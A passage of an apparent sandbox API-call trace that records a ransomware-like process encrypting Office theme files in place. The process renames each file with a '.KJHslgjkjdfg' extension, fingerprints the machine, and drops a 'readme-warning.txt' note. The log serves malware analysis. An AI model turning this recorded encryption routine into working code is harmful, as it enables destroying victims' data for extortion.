out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x9, lpOverlapped=0x0) returned 1 [0173.520] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.520] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.520] GetProcessHeap () returned 0x2ef0000 [0173.520] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.520] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0173.520] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.521] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0173.521] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.521] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.521] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.521] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.521] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.521] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.521] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.521] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.521] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8317, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x8317, lpOverlapped=0x0) returned 1 [0173.536] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x8320, dwBufLen=0x8320 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x8320) returned 1 [0173.537] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.537] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8320, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x8320, lpOverlapped=0x0) returned 1 [0173.537] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.537] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x83f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.537] SetEndOfFile (hFile=0x12c) returned 1 [0173.540] GetProcessHeap () returned 0x2ef0000 [0173.540] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.540] GetProcessHeap () returned 0x2ef0000 [0173.540] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.540] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0173.545] CloseHandle (hObject=0x12c) returned 1 [0173.546] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0173.546] GetProcessHeap () returned 0x2ef0000 [0173.546] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.546] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.546] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0173.546] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.546] GetProcessHeap () returned 0x2ef0000 [0173.546] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0173.546] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.546] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0173.546] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.546] GetProcessHeap () returned 0x2ef0000 [0173.546] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f11d10 [0173.546] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.546] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11d10, pdwDataLen=0x4dfee20 | out: pbData=0x2f11d10, pdwDataLen=0x4dfee20) returned 1 [0173.546] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.547] GetProcessHeap () returned 0x2ef0000 [0173.547] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0173.547] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.547] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0173.547] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.547] GetProcessHeap () returned 0x2ef0000 [0173.547] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0173.547] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.547] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0173.547] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.547] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0173.547] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0173.547] RegCloseKey (hKey=0x12c) returned 0x0 [0173.547] GetProcessHeap () returned 0x2ef0000 [0173.548] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0173.548] GetProcessHeap () returned 0x2ef0000 [0173.548] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0173.548] GetProcessHeap () returned 0x2ef0000 [0173.548] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0173.548] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.548] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0173.548] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.548] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0173.548] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0173.548] GetProcessHeap () returned 0x2ef0000 [0173.548] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0173.548] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0173.548] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0173.548] GetProcessHeap () returned 0x2ef0000 [0173.549] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3e278 [0173.549] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\readme-warning.txt") returned 81 [0173.549] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.549] WriteFile (in: hFile=0x12c, lpBuffer=0x2f3e278*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f3e278*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0173.550] CloseHandle (hObject=0x12c) returned 1 [0173.551] GetProcessHeap () returned 0x2ef0000 [0173.551] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0173.551] GetProcessHeap () returned 0x2ef0000 [0173.551] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0173.551] GetProcessHeap () returned 0x2ef0000 [0173.551] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0173.551] GetProcessHeap () returned 0x2ef0000 [0173.551] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.551] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0173.551] GetProcessHeap () returned 0x2ef0000 [0173.551] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0173.551] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IRIS", cAlternateFileName="")) returned 1 [0173.551] GetProcessHeap () returned 0x2ef0000 [0173.551] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8a) returned 0x2f425d0 [0173.551] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0173.552] GetProcessHeap () returned 0x2ef0000 [0173.552] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0173.552] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0173.552] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1015d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IRIS.ELM", cAlternateFileName="")) returned 1 [0173.552] GetProcessHeap () returned 0x2ef0000 [0173.552] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28c) returned 0x2f10788 [0173.552] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.554] GetProcessHeap () returned 0x2ef0000 [0173.554] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.554] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.554] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.554] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x3, lpOverlapped=0x0) returned 1 [0173.557] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.557] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.557] GetProcessHeap () returned 0x2ef0000 [0173.557] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0173.557] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0173.557] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.557] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0173.557] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.557] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.557] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.557] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.558] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.558] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.558] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.558] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.558] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1015d, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x1015d, lpOverlapped=0x0) returned 1 [0173.560] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x10160, dwBufLen=0x10160 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x10160) returned 1 [0173.561] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.561] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x10160, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x10160, lpOverlapped=0x0) returned 1 [0173.561] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.561] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x10224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.561] SetEndOfFile (hFile=0x12c) returned 1 [0173.565] GetProcessHeap () returned 0x2ef0000 [0173.565] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0173.565] GetProcessHeap () returned 0x2ef0000 [0173.565] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.565] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm.kjhslgjkjdfg")) returned 1 [0173.566] CloseHandle (hObject=0x12c) returned 1 [0173.566] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IRIS.INF", cAlternateFileName="")) returned 1 [0173.566] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.566] GetProcessHeap () returned 0x2ef0000 [0173.566] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.566] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.566] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.566] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x2, lpOverlapped=0x0) returned 1 [0173.568] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.568] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.568] GetProcessHeap () returned 0x2ef0000 [0173.569] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0173.569] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0173.569] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.569] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0173.569] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.569] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.569] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.569] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.569] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.569] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.569] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.569] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.569] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1ce, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x1ce, lpOverlapped=0x0) returned 1 [0173.570] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, 